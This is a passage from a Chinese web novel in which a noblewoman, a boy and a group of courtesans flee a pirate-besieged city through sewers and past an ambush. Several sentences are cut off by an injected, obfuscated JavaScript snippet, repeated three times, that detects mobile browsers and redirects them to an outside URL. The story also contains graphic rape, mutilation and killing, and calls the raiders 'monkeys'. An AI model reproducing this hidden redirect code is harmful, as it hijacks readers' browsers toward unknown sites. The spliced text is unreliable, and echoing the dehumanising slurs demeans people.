赵蓉虽饱读诗书,但她被圣贤书和千年不变的死板规矩拘于后院,甚少出远门,至多去街市或别家府邸,最远就是乡下庄子,偶尔回冀州老家,都有车马护送。 她自己是不认识路的。 且她认为她们跑的够早,还有马车和护卫相送,比用腿跑的快多了,安全多了。 她抱着高濯衡下车时,都认为至多等上一等,距离不远,肯定能出去。 她不知道人挤人会把人挤死,也没听说过,哄抢通道,互相踩踏,会堵住那唯一的通道。 等她有所察觉,已经被挤在中间,前后两难,寸步难行了。 士兵们听到高濯衡这话,突然也燃起了些希望:“小公子说的没错啊!” “那…我的家里人,有没有可能,也从小路逃出来了?” “是啊,除了大路还有小路,没有小路还有水沟。” 有人提议:“要不…我们明天,去看看?” 孔详问:“去哪?地方那么大。” 高承翊道:“一行人太过引人注目,实在想去,可卸了甲,反穿布衣,二到三人一组,分头去查探。” 守备军统一着装,衣服正面一看就知道是兵,营里考虑到或有需乔装打探的必要,故而成衣裁制时,特别将反面也做出正常剪裁走线。反穿时,就是普通的深色布衣了。 宋遥问:“还要去?” 高承翊道:“当然要去,不然在山里当野人?知道的多,才能及时应对。” “多危险啊。”宋遥道。 “我觉得反而不然。”高承翊反问宋遥,“如果你是水寇的总兵,你拿下了抚州城后,会做什么?” 宋遥道:“那要看我还剩多少兵马、武器,和粮草了。城里那么大,肯定不缺吃的,但军营不在城中,守城门的是营里的军户。可城里巡逻的,就是官差胥吏了,他们用的是次一等的武器,且不配火器。” 高承翊点头:“所以城中用于作战的装备,其实并不多,并且都在守城兵的卫所。有些就放在城楼上。都是些火炮、火药。城墙都被他们烧了,猛火油烧起来就难熄灭,只能等油烧光。我想,到时候也不剩什么能用的东西了。” 作战的装备都是消耗品,尤其是火器。武器消耗,是决定能否继续作战的关键。 按高承翊的说法,水寇们携带的武器,不足以他们继续往内陆进攻。 高濯衡问:“哥,水寇们不是来抢东西的吗?抢了东西,不走吗?” 这是大渊上到王公贵族,下到乞丐孤儿都认同的事。 我泱泱大国,岂会被弹丸小岛动摇。 水猴子们那屁大点地方,能凑齐几个兵,他们根本不可能真的打,就是捞点东西走。 可抚州城破在眼前,就连孔详都动摇了:“有…可能走吗?” 高承翊道:“我只是猜测,可能性不大。” 装备不足以立即进攻下一个大城,但固守抚州,还是能做到的。 若是昨日,这里所有人都要站起来,用一堆的理由,反驳他。 可今日,他们都沉默了。 孔详问:“周季修不是在垣平固防吗?他可以在垣平切断水寇退路和补给。” “城中的粮食足够他们吃上很久。”高承翊道,“而且,周季修不在垣平。或许垣平也已经失守了。” 宋遥点头:“他在城郊的营地,我们也不知道他怎么不守着垣平。” 若垣平还在,水寇们占据抚州,虽抚州是大城,但居于内陆,援兵可和垣平行成包围夹攻之势。 届时抚州就是座无援的‘水上孤岛 ’。 可看这架势,垣平也不一定在了。 垣平被占,抚州就成了水寇们占地的大门,同垣平、汾州相连,形成了一段有补给线的占领区。 他们的兵、装备可以从汾州登陆,经垣平,送到抚州。日子久了,生了根,就难再赶走了。 大渊建国前,曾有一段百年乱世,北边的鞑子骁勇,他们骑着马,奔袭抢掠,以战养战,有二十日内,连攻八城,场场皆胜,打到都城,绑走皇帝的事迹。 众人不约而同想起了那段历史。 “我想,他们应该是想要占据抚州。”高承翊道。 宋遥心都凉了,他吞了口唾沫:“什么意思?还有往上打,打到胜京,换个水寇皇帝的可能?” “狼子野心,异想天开。”高承翊道:“不同于平坦开阔的北方平原,江南山多水多,道路弯曲,易守难攻,又有晏江隔着,晏江上头,还有更宽更难渡的岷江。若有日真朝廷无能,让水寇渡了岷江,各地也定会涌现义军抗敌。” 百姓们往北跑,就是为了渡晏江。 说到这,又回到了原来的问题。 孔详道:“易守难攻,道路弯曲,水寇们,哪来的地图?” 是有人给他们的。 说来说去,又说到了通敌,大家都不想提这个。 高承翊问:“你们知道他们是从哪个门进来的吗?” 孔详道:“烽火从东边燃起来的。” 张廷皓:“东门靠山,防守最弱。” 高承翊道:“大岳山,就连我都要走上大半日,才能出得来。” 又是一阵沉默。 高承翊思索着:“东门…有小柳河,小柳河是往晏江汇的,随着水流,就能出城。” 沿河走,用小船,或者潜着游出去,都是法子。 张廷皓道:“可水寇会放任吗?” 高承翊道:“抚州城那么大,他们战后要休整,要谋划后续,需清点装备,还要分出人去,抢那些大户的钱财,我想,应该是暂时顾不上小路和小河的。况且他们从东门来,为了快速攻占,不会分散兵力。” 孔详道:“是啊,去年杀了他们那么多兵,这才过了不到半年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们跑过空旷的地方,绕着小路,躲进了一处院落。 院子里挤了七八个人,外面水寇见人就杀,这会儿在烧城墙,他们躲在这,倒还没被发现。 身旁的三个护卫,虽都有拳脚傍身,可肉挡不住刀,刀挡不住弹。 都到这份儿上了,也没什么夫人、护卫之分,都是些想逃命的人而已。 赵蓉见躲在墙角的妇人和她的女儿抱在一起,赵蓉进来时把她们吓了一跳,现在还止不住的发抖。 她问:“怎么办?” 护卫们相视无言。 这时有几人跑了出去,赵蓉觉得躲在这就是等死,也跟了出去。 那妇人见人走了,人有从众心态,自然也跟着他们后面跑。 绕了几段路,才知道那些人要走水沟。 抚州城有修排水沟,平时排污,梅季暴雨排污水。 是高琰做主修的,衙门出的银子。没修前,抚州城年年梅季内涝,泡坏了房子,还有淹死人的。 内涝的水,是雨水混着污水,倒灌入水井里,喝的水被污染,人畜喝了都要生病。 故而为修这些地沟,高琰花了不少心思。 27. 在花街买茶的 地沟宽窄不一,宽的地方,能并排走五六个人,窄的地方,一次只能过两个。 且岔路特别多,在地面上赵蓉都不太认识路,更别说是地底了。 地沟里,不时能遇上折返绕圈的人,互问出路。 有些地段,路面上死人太多,血淌进了地沟里,和脏污水混在一起,整条沟全是红的。 他们此前站了许久,赵蓉还抱着高濯衡,她出了很多汗,没有水喝,现又一直走着,体力透支,口干舌燥,直觉脚底轻飘飘的。 赵蓉靠着墙滑坐下去:“我要歇一会儿,走不动了。” 她腰上挂了一把短剑,是沈驰寄来送给她的。不同于常见的铁剑,这是把军中工匠打造的钢刀。 握把做得很细,适合女子握持,为了减轻重量,只有小臂长短,且十分纤薄,却锋利异常。 刀鞘、刀柄刻有花纹,镶嵌金丝。很华丽,但在赵蓉手上不实用。 她只将这刀当做个念想,平时拿出来看看,就当是看见沈驰了。 此时也顾不得脏污,赵蓉坐在地上,把腰上的刀抱在了怀里。 地沟里能听见地上跑动的声音,有人走过时,底下的人大气儿都不敢出。 赵蓉看着排水口透进的光,一股深深的绝望,在她心里蔓延开来。 她休息了一会儿,护卫看水沟里人越来越多,怕引来水寇,便催促她道:“夫人,走吧。” 就这片刻的功夫,地沟里来来去去几十人不止了,有不少走回头路,在这里头乱窜的。 赵蓉小声问:“能往哪去?” 便没有人回答她了。 不过多时,不远处那个抱着女儿一直跟着她们的妇人小声的开口道:“是不是顺着水流的方向就能走出去?” 走水沟的都这么想,可岔路太多没那么容易。现在里头还混着血水断肢,有地方被尸体和脏污堵着,只有水能过。 除非,跳进污水里,潜过去。 若那头真是生路,这样做也无可厚非,可若是死路,还得再潜回来。 妇人和孩子,泡在这样的脏水里,来回个几遭,就算出去了,也有可能生病。 这时上头又有一队脚步路过,等恢复安静后,那妇人下定了决心:“我潜进水里探路,您能帮我照看孩子吗?” 赵蓉朝那女孩儿看去,左不过十四五岁,半大的年纪,出落得十分标致,皮肤白皙,一双杏眼大而有神,眼里难藏慌乱。 她抱着妇人的手说:“不行,这水…这么脏…” 妇人摸了摸女孩儿的脸:“傻孩子,脏些有什么要紧的,命最重要。” 她女儿在这,她找到了路肯定会回来。 赵蓉问:“为什么让我帮你照看?” 那妇人道:“您一看就是大户人家的当家人,面相又和善,我这姑娘很乖巧,不会给您添麻烦的。” 赵蓉身上穿着织金的料子,发钗和妆容虽乱了,但仍能看出华贵和考究。 “我娘家是江上打鱼的,我打小在渔船上长大,水性很好,在我回来之前,小女就拜托给夫人了。” 赵蓉看着满沟子的脏水,又看了看那白净的小姑娘和妇人恳切的眼神,点了头。 大约过了半个时辰,那妇人从水坑里钻了回来。 浑身脏污混着血水,赵蓉他们在沟子里得待,已经习惯了腥臭味,仍能闻到她身上那股极冲鼻子的气味。 为了逃命,她自己也需去钻污水沟。 小姑娘跑过去抱住了母亲,赵蓉也上前询问:“如何?” 妇人点头:“能过去。” 他们几人下了水,有人看见,便也跟了进去。 顺着水流,遇上堵住的地方,就潜入污水,这路很长,才四月末的天气,泡在水里,不多时身上就凉透了。 过了那妇人走过的地方,无可避免的开始走岔路。 她们直到入夜后,才出的水沟。 路上随处可见死掉的人,也顾不了那么多,扒了衣服,找间空屋子换上后,才稍稍暖和了点。 赵蓉将带的金银几乎都塞去了高濯衡身上,她身上的银票被水泡坏了,只剩荷包里的几锭银子。 数着放好,又把短刀继续系回了腰上。 她在房中找到了水,等她再出去时,护卫们也找了些吃的来。 这里已经人去楼空了,食物和水是原本的屋主留下的。 “我们找到了一些躲起来的人,他们说水寇进来看见人就杀,躲在衣柜里,床底的都被拖出来。”护卫道,“那些运气好捡回条命的,都不敢再留了,打算趁夜里偷偷出城。” 街边原本的油灯没人去点,水寇的猛火油烧的太凶了,漆黑的夜里只有头上一轮罩着猛火油烟气的月。 有人问:“这难道是要屠城?” 此话一出,一些想着能躲就躲,等个七八日,高总督回来,把水寇赶走,就能继续过日子的人,也生出了要逃跑的心思。 又有颤巍巍的声音:“怎么出城?去哪儿呢?往东走是大岳山,西边,北边全是水寇。” 自西北边逃来的人也说:“那边没活路,水寇现在全在那边呢。” 如今反而是东边没什么人。 赵蓉分析道:“军营在北边的城郊,援军也得从北边渡岷江来,水寇们要守城,会将西北边当做重点。东边靠着大岳山,朝廷军队要绕过一大圈,马和火炮过来费时,若要打反攻,不会选东边。” 东门在水寇的布防中,现在算是后方。 突袭后方是一种战法,但易被夹击,且朝廷的援军仗着兵强马壮,配给优良,肯定会选择从正面强攻。既快速,又能鼓舞士气,安抚民心。 “这么说,朝廷的兵会来救我们的对吧?” 赵蓉道:“肯定会,但不知是何时,也不知要打多久。咱们身在敌穴,如今只有逃出城去,才有生机。” “是啊,这位夫人所言有理。在下就是汾州来的,本以为他们和原来一样,抢了就走。我家已经备好了财物,想能给钱买命。”说话的是个年轻的男人,蓄的胡须较短,说起话来带着几分书生气,“可…他们进来就杀人,抄家…” 他说的此处,长长叹出口气:“那些人是来报仇的,会杀到他们满意为止。” 一个护卫问:“还能往哪逃?” 带她们从地沟里出来的妇人,此时也裹了件干衣裳,脸擦干净了些,头发上还粘着些血。小姑娘也是同样,洗了换了,但没有完全干净,尤其是脸,脏兮兮的。 这是母亲的智慧,她害怕姑娘太漂亮,有人起邪心。更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101040|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕碰上水寇,会受侮辱,死也死得不干净。 她们俩蹲在墙边,隐在夜色里,十分不显眼。妇人开口道:“晏江水往东流入海,小柳河往东边流汇进晏江。咱们顺着水,能出城。” “趁夜里走?”有人问。 “试试看吧。”众人都觉得有道理。 他们从水沟里出来时就有不少人了,这会儿汇集的人更多,夜里看不清,但至少有一百出头。 “大家先别慌,这里目前没有巡防,想必是水寇们还没顾得上,咱们先去找些干粮和水带在身上。”赵蓉尽力的用自己的认知,和书上看过的东西,去解决现在遇上的问题,“咱们人太多,太显眼了,一旦遇上水寇,全部都会被抓住。他们虽没派人在城中巡逻,不代表,不留人在出口处守着。” “他们能这么快的找到各处城门,并聚集兵力攻打,定然对城中地形十分清楚。”赵蓉详细的叙述着,尽量让这里所有人都能听懂她的话,“水流出口他们肯定也能想到。” 小柳河很窄,他们可在这边往东门走,过桥,到小柳河北岸,再沿着水流,届时即使到了宽江面处也无需渡水,就能出城。 沿路还有房屋和山地遮挡。 他们现在还不知道,那些他们想象的遮挡,早就被炸平了。 众人找了些粮食和水后,就借着夜色往东走。此时还有人盘算着,若到时真的有追兵,可以躲在水里。 他们越走就越是触目惊心。 更多的死人,和成堆的废墟。 这里不知道挨了多少颗炮,空气里弥漫着猛火油的气味,前边肯定被烧了。 路被炸断了,原本两步的距离,现在要绕上十几圈,才能走回正确的方向。 大约走到下半夜,有人加入,有人走散,赵蓉捡了根棍子撑着走,身后的妇人叫住她:“咱们找个地方睡一会儿吧。不然到了出口,万一真有水寇拦着,跑都没力气。” 赵蓉点头:“对,你说的对。” 于是有人跟着他们,找地方休息,有些人,还在继续往前走。 “这边是小柳河的花街。”有人道。 仔细看,街边的尸体,都是女性。 有些衣不蔽体,死状凄惨,一看就是受过侮辱。 赵蓉不忍去看,那妇人也抱住了女儿,半掩住了她的眼睛。 她们找到一间有地窖的酒楼,地窖里还摆了不少菜蔬,他们不能生火,只能找些熟的,或能生吃的东西填肚子。 赵蓉靠了一会,这里是小柳河的花街,她知道夏辛阿娘的茶馆就开在这里。 她原本还琢磨过谁会在花街喝茶呢,怪不得生意不行。 她记得,二宝说放夏辛回来找他娘了。 那孩子,还活着么? 赵蓉站起来往外走,护卫叫住她。 赵蓉道:“我有个故人,在此开茶馆,我去找找,看看她是否还在。” 这三个护卫,是高琰的部下,与她相识已久,不忍看她一个女子独身冒险,故而也都跟了过去。 赵蓉心里是害怕的,她没有推辞,并在出去后就告诉他们,她想去找夏娘的茶馆,或许夏辛也在。 护卫们认识夏辛,那个人小鬼大的卷头发小孩儿,不久前还拿着一把小刀,缠着他们要学武艺。 28. 我娘死了 赵蓉在漆黑又凌乱,甚至可以称作是废墟的街道中寻找着看上去像茶馆的痕迹。 要当心脚下,还不敢发出太大的声音。 四人往前走,隐隐约约听到有女人的尖叫声。 然后是异邦声调男子的笑声。 三个护卫立即警惕起来。 赵蓉也抽刀,双手握着刀柄,将短刀竖在身前。她还在往前走,越往前,声音越大。 “夫人…别过去。”护卫想带她回去,如此境地,已自身难保,听这声音,想必是水寇兵在奸污妇女。 哭喊声越来越大,女人不止一个,男人也不止。 这里本就是花街,想来是女人们白天躲了起来,夜里有驻扎在附近的水寇,听说这里是窑子窝,就偷溜出来想碰运气开荤。 赵蓉感觉自己的心都快跳出来了,拿着刀的手在发抖,脚也在发抖,却还是在往前走。 护卫挡住了他的去路。 赵蓉想绕过他,却又听一声,是刀子割到皮肉的声音。 女人的哭声没了,应该是死了,原本其他的哭声也戛然而止,想必是妓子们见同伴死状,不敢再哭。 接着是巴掌声,男人用粗野难听的声音,在咒骂,能猜出,是在骂他把女人杀了,害他们没得玩。 赵蓉小腿发软,正当她决心转头逃走不再理会时,听得一个半大孩子稚嫩的喊声。 是悲愤,带着必死决心的叫喊。 那声音!是夏辛! 赵蓉推开护卫狂奔过去,那是撞被炸塌了小半边,歪歪扭扭的两层木楼。 赵蓉踢开松垮半掩着的门,里头有七八个水寇,水寇好认,他们虽然不像洋人长黄色卷发,但他们普遍矮小,穿着奇特,就像这几个一样,胯间围着白布,罗圈腿,小腿上有密密麻麻的长毛,穿着夹足趾的草鞋。 那几个水寇都拽着女人,还有几个女人瑟缩在墙角,夏辛本被她们藏在最里边的柜子里。 门正对的方桌上,女人的身前被长刀剖开,整齐的刀口,正往外淌着血。 她双目圆睁,死不瞑目。 垂在桌下的手腕上,带着一串素银五帝钱红绳。 而夏辛正握着刀柄,整把刀刃都扎进了侮辱他阿娘,杀死他阿娘的水寇身上。 正正的插在后心,这是他跟高承翊学的,他问高承翊,自己年纪小,力气小,个子也矮,要怎样才能快速找到对方要害自保。 高承翊本就喜欢学些搏击,拼刀之技,便也乐于为他讲解。 面门,前心,后心,侧腰还有胯间,这几处都是命门。 这是他第一回实践,若高承翊在这儿,肯定会夸他做的很好。 那水寇个子不高,且刚被另一个删了两耳光,打蒙圈儿了,夏辛冲上去的速度很快,水寇们都不急反应,刀子就扎了进去。 他本还想把刀子抽出来,继续再捅一个,却高估了自己的力气,那刀子嵌在骨头里,他拔不出来。 此时其他水寇已经反应了过来,一个先是一脚将他踩在了地上。 那些人是不高,可成年男人的力气是远远大于一个十岁孩子的。 夏辛被踩着后心,一口血从嘴里喷了出来。 猴子们吱哇乱叫着,夏辛听不懂劳什子鸟语,他恨得要命,手歪在后头去挠那男人的脚脖子。 他这动作,惹得几个猴子哄堂大笑。 也正是这时,赵蓉踢开了门。 踩着夏辛的水寇见状不对,立马拿刀要杀了夏辛,他刀尖向下,是往下戳穿的动作。 夏蓉身后的护卫们见水寇人数不多,便都拿出武器,杀了上来。 眼见着那刀要将夏辛捅穿了,赵蓉这边却还没来得及跑过去,千钧一发之际,一个妓子扑身上去,挡住了刀子。 那刀没捅中要害,她忍着疼,口吐鲜血地将夏辛推走,水寇把刀子从她身体里抽出来,又朝夏辛捅过去。 赵蓉从后边将夏辛拖走,却差了一步,刀尖已没入了夏辛的小腿。 “呃啊啊啊!” 孩子疼得哭嚎,那妓子拼着她所有的力气,死死的握住刀刃,绵薄却坚定,知必死而仍往之,要阻止刀尖不再深入,那是为生死交锋的战场打磨的刀刃,太锋利了,她的手一放上去,那染着蔻丹的手指就像被切豆腐一样,断了几根,却仍不松拳。 血顺着亮白的刀刃往涓涓下流。 赵蓉站起来,从地上捡起她刚刚为了拖拽夏辛而放下的短刀。 水寇眼看赵蓉要拿刀来捅他,便用力将扎在夏辛小腿的刀抽出,他这样一拽,已把那妓子所有的手指头全削掉了。 似乎旁边有女子的悲鸣,但场面混乱,也无人能顾得上去听是谁发出的。 赵蓉的刀子短,可水寇的刀很长。 只一抬臂,刀子就要扎到赵蓉的面门了。 那水寇狰狞地笑了出来,打算小臂一挑,结果了这个不知死活突然冲出来坏他好事的女人。 可他犹豫了一瞬,因为这女人长得可真美,比这里这些劣等品漂亮太多了,他想留她半条命,玩腻了再杀。 他要让这个胆敢拿刀对着他的女人尝尝生不如死的滋味。 可就是犹豫这一瞬,一旁的妓子们蜂拥而上,将他扑倒在地。 他想挣扎呼救,抬眼却见赵蓉的衣袂已垂在眼前。 赵蓉不清楚自己捅了多少刀,她的手发软,却害怕那人不死反扑将她们全杀了。 她闭着眼睛,歪着头,重复着往下捅的动作,直到夏辛抱住她,她感觉到那小手在她脸上帮她擦抹着血泪,她才敢睁眼,才敢停手。 与此同时,护卫们与水寇的搏斗还未结束,女人们不再束手就擒,她们纷纷拿起趁手的东西,往那些水寇身上砸着招呼。 三个护卫都是有武艺傍身,身高体壮的好手。 水寇们受到了干扰,出来偷腥又死了同伴,已无再战之心,那边有人想逃,赵蓉高喝一声:“别让他跑去找救兵!” 夏辛不顾小腿上还在淌血的口子,捡起一旁水寇掉落的刀,就冲了上去。 他满心满眼的恨,竟也不觉得疼,还跑得飞快,那水寇背对着他,刚刚那个强/奸他娘,还杀了他娘的东西,也穿着同样的衣服,用同样的矮小背脊对着他。 夏辛双手握刀,突刺一击,水寇的刀刃薄,居然比他的短刀更轻,且柄长好借力,他有了经验,一脚踢上前,从那水寇的尸体上,抽回了刀子。 一番打斗后,小楼里,全是满身浸血的人。 赵蓉为夏娘披上了衣服,而刚刚那个为夏辛挡刀的妓子,在看到夏辛安然回来后,也放心的咽下了最后一口气。 一时间,原本混乱的地方,安静了下来。 无比的安静,女人们没再抽泣,站着的护卫们也没有动作。 夏辛颓丧的挪动着腿,好腿带动着伤腿,走到了夏娘身边,他去牵他娘的手,还有热气。 他还想去牵姨姨的手,姨姨的手指头,断了一地。 孩子的眼睛里没了光,只一味地涌着眼泪。 赵蓉把他抱在了怀里:“夫人在这儿,别怕…好孩子,休存死志,你那个小二爷,还等 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今日,却遇此大恸。 赵蓉继续说着:“我带他出门时,他一直求我等你,在马车上还哭着要夏辛。你知道他的脾气,娇气爱哭,闹起脾气来只有你和翊儿能哄住他。如今翊儿不知去向,你若自暴自弃,真死在了这里,衡儿怎么办?” 她只能搬出高濯衡。 “二爷真的…在城外吗?” 赵蓉点头:“真的!” “我们能出去?”夏辛问。 赵蓉看着他:“当然可以了,夫人很厉害的,夫人什么都会。你看…夫人…会算账,会管家。”她一点儿都不能保证,她根本不认识路,也不知道该怎么做,她说着眼睛都红了,“夫人…自小,读了很多很多书,所有人都夸我聪慧,我…也和你一样,守着规矩,从不做错事。咱们夏辛,来府里时,豆丁儿点大,干活比大人都强,一个茶盏都没打碎过。” 她没缘由的将毫无关联的事串在一起,努力的想增加她话里的可信度:“夫人听见声音,就立马带人来救夏辛了。总督的兵都在城外呢,咱们出去就能得救。” “真的吗?”问这话的是一旁的妓子们。 她们有三四十人。 炮打来时,有姐妹被房梁压死,被弹片打死了。 还有迎头撞上水寇和没躲好被拉出去砍死的。 这里的人,是入夜后夏娘带着夏辛,点着一豆小灯,一个个把她们找着,再聚一起的。 她们本打算一直躲着,直到官兵来把水寇们赶走。 却不料下半夜她们刚想眯一会儿时,那几个短命鬼摸上了门。 她们把夏辛藏起来后,克服着恐惧去应对。 男人嘛,不就那点事儿嘛,姐妹们本就是干这个的,给伺候好了,留着不杀,下次再来还有的玩。 她们本想带着那些人找能关起门的屋子,却不料那些东西没有羞耻心,猴急的把人推倒在地,就将身压了上去。 又下手恶毒,先甩上耳光,抽上鞭子,打痛快。 夏娘许久不干这个了,她疼得推了一下,那东西就发了脾气,把夏娘踢到了地上,拼命的打。 那些水寇看见,都在笑。 妓子们被吓坏了,而夏辛听到她娘的叫声,不愿再躲着,拿起刀,走了出来。 他看见那人把夏娘拎上了桌子,压开她的腿。 用暴力欺辱着柔弱的女子。 29. 生也一起 夏娘看见了站在不远处拿着刀的夏辛,正因如此,她才去反抗的。 十岁的男孩子没见过这样的场面,女人雪白的腿被异邦猴子如藤条枯枝般恶心的手掐着,用力掰分。 他看见了那短小恶心的玩意儿,夏辛手上的青筋爆起,握紧了刀柄,正当他要冲上来一刀捅死那畜生的时候,夏娘奋起反击掐住了那畜生的脖子。 太屈辱了,被儿子看见她被这样对待… 她脸上全是通红的巴掌印,脖子上有掐痕,袒露着前襟,光着腿。 夏娘发出了一声愤怒的悲鸣,死死的掐住了那畜生的脖颈。 缩在一旁的女人把夏辛拉进了她们身后,夏辛有一瞬晃神,与此同时,那畜生抽了刀。 太快了,快到所有人不急反应。 薄薄的刀刃只是一滑,夏娘低头,看见了自己胸腹处的那一道细痕,血是喷出的,她还没来得及闭上眼睛… 【夏娘 完】 因赵蓉有意照抚,夏辛的月例比一般小厮多上不少,平时还总找借口给他赏钱。高濯衡更是夸张,有一颗糖都得分他一半。 对于一个孩子来说,他是不缺钱的。 可夏辛对自己却很抠门,从不见他给自己买什么东西。 出去玩时还经常自掏腰包给高濯衡买东西。 赵蓉有次好奇特地留意了,他攒着银子,每次回小柳河,总带着一堆女人喜欢的蜜饯点心,香粉胭脂,口脂丝巾,彩纸蔻丹… 给阿娘留一份,其他的给姨姨们分。 姨姨们都说夏辛是个有良心的好男儿,和小柳河上来来往往的负心薄幸郎不一样。 以后要是谁有福气,嫁给他,必定会被千宠万爱的,疼惜得要命。 夏娘说小柳河上的女人,命都不长,日子过得苦,今儿能吃就得多吃些,蜜饯果子都是甜的。 姨姨们推辞来推辞去,最终还是收了东西,妓子们心里记着,今儿编个璎珞,明儿绣个香囊给夏辛当回礼。 她们自己过得都不好,白日里熬着不睡织出的那点布,都愿意留着给夏辛缝衣裳。 她们说,这布是洗干净手织的,是不脏的。线是去庄户人家收的好线,让夏辛不要嫌弃。 夏辛最大的愿望就是以后挣了钱,买一个大院子,让他娘和姨姨们都住在里头,过干净日子。 赵蓉将夏娘手腕上的红绳摘了下来,戴在了夏辛腕间。 她们把两具尸体摆在一起,有会诵经的女人,跪在姐妹旁边,低声诵着往生咒。 夏辛最后抱了他的阿娘。 护卫们将水寇们的尸体扔到了路边,让他们离女人们远远的。 又推到了酒楼半塌的墙,砖块将女人们掩盖在废墟中。 无法安葬,连收尸都做不到。 他们和地窖里的人汇合,不再停留,继续往前走。 约莫已经过了寅时,顺着小柳河越走人越多,听脚步和动静,至少有两三百人。 只不过大家都忐忑着没发出声音。 马上就要出城了,可是太安静了。 什么都没有,路敞开着,谁都能走出去。 赵蓉带着夏辛躲去了城墙后,她蹲着,女人们便也跟着她蹲在后面。 有人也跟她们一起躲,有的人则迅速地跑出了城。 夜里太暗,很快跑出去的人就不见了踪影。 接着,就听见了黑暗中的惨叫声。 夏辛一惊,抓紧了赵蓉的手。赵蓉小声安抚道:“别怕…别怕……” 她让夏辛别怕,她自己都怕得要死。 怎么办? 好不容易走到的‘出路’是死路。 “他们在堵人啊?” “怎么办?我们…我们折回去吧。” 赵蓉道:“现在回去,天亮之后,水寇肯定会来搜城。” “那被他们看见,还有活路吗?” “肯定要死。” “那不如在这里拼一把,我们大家一起跑!” 这是个男人的声音,他说完站了起来,有不少人也跟着他站了起来,大都是些年轻力壮的,他们跑得快,或许真的能冲出去。 “等等。”赵蓉道,“去找些门板,铁锅当盾。” 有道理,于是众人纷纷四散开,去找能遮挡的东西。 这地方黑,说明水寇的火铳或箭也会射不准。 “我猜测,若有大批量的人跑动,他们会点燃火把,用火铳射杀。”赵蓉道。 一个护卫问:“夫人的意思是,还是要偷偷溜过去?” 他们看了几个耐不住性子的,都是才走过去,就有尖叫声。 离的远,也不知是不是箭,但能肯定不是铳,铳的声音很大。 夏辛道:“有没有可能是坑?” 在城门口,挖出一条又长又深的大坑,上面盖布,铺上泥做伪装,逃命心切,夜里根本看不出区别。 “有道理。”赵蓉道。 “那岂不是,只要过去,都会掉进坑里?” 有人问:“那我们从河里游出去?” 小柳河上是没有城墙的,这倒是个办法,抚州临水,大多数人水性都不错,若是把木板顶着头上,悄悄的淌水过去,上岸后赶快跑进林子里,似乎是个好办法。 水性更好的,甚至可以溯游而上,直接往晏江里游,从晏江的北边上岸。 众人商议好后,男人们在外围,举着门板,将女人和孩子们围在中间,他们沿着城墙边走,往小柳河边绕,正准备下水时。 一支火箭从远处射来,落在小柳河里。 顿时,河面上蔓延起熊熊烈火,火光冲天,空气中猛火油的气味,立马四散开来。 之前也能闻到,但水寇用猛火油烧了很多地方,他们没察觉也没料想,那些人会把油浇在水面上。 一旦入水,即使不点火,人泡在猛火油里,换气时不小心喝下去,粘在皮肤上,都是凶多吉少。 这火燃起后,他们这几百人瞬间暴露在了光亮里,水寇们用他们的语言大喊着敌袭戒备。 却也不知那跟火箭是从哪射来的。 水寇们占据着高点,但在黑暗中视线范围是有限的,也就刚刚能看见城门口,和城墙边的小柳河。 这光亮起来后,黑暗中的一切瞬间清晰可见。 赵蓉能看见坡上埋伏的水寇,还能看见城门外,仓促挖出的,不足一人高的土沟。 土沟里放了地刺,里边还有没有捡出的箭。 有人跑出来,踩空掉进去,被地刺扎伤爬不出来,水寇们就往土沟里射箭。 以此重复五六次,沟子就会满,他们还需下来,把尸体拖走,拙劣的伎俩,只能用来对付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101042|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平头百姓。 而往水里倒猛火油,则更是毫无底线,丧尽人伦的举措了。 看清楚路后,男人们立即举起木板,保护着内层的女人和孩子。 赵蓉大喊道:“从前门走,沟很窄,用木板搭着就能过。” 有些地方的尸体已经漫出了土坑,根本就不用搭木板。 不过他们在跑动时,无法维持太过紧密的状态。 跑着跑着,就散开了。 体弱幼小的落在后面。 夏辛腿上虽有伤,但这种时候,却比赵蓉跑得还要快些,他一手拉着赵蓉,另一手还牵着一个妓子。 妓子们挨得近,已经有几个中箭倒下了。 四周的水寇并不多,就这样看过去,似乎不过百人,他们两人一组,一人用弓,另一人手上拿着火铳,在射箭的间隙,填弹射击。 那弹炸在脚边,箭从身侧擦过。 此时城中又跑出一批人,这会儿火烧的大,大家都能看清状况,原本水寇还在黑暗中虚张声势,百姓们不明状况,不敢轻易逃跑。 如今这样一看,水寇的数量,还没有他们多,趁乱肯定能跑出去。 更有青壮的,已经五六个一起扑上去,跟水寇们打作一团。 此时,城墙上开始往下滚落石。 这本是城防的一部分,在墙上修几个离地有两人高通城楼的陡坡凹槽,有敌袭时,倒上油,点上火,底下人上不来,再将打磨滚圆,半人高的大石球,合力从陡坡上推下去。 这样的速度,火烧不坏石球,石球裹着火焰,往敌阵中滚过去,不仅能碾死人,还能冲散兵阵。 那石球是守备军的东西,圆圆的球身上,还困着凸起的木刺,刺尖虽是钝的,可一个刺都有半个头大,有滚落时的速度加成,撞上一下,五脏都得碎开。 从城中跑出来的百姓越来越多,他们原本都躲在黑暗中,不敢动。如今都抓准时机往外冲。 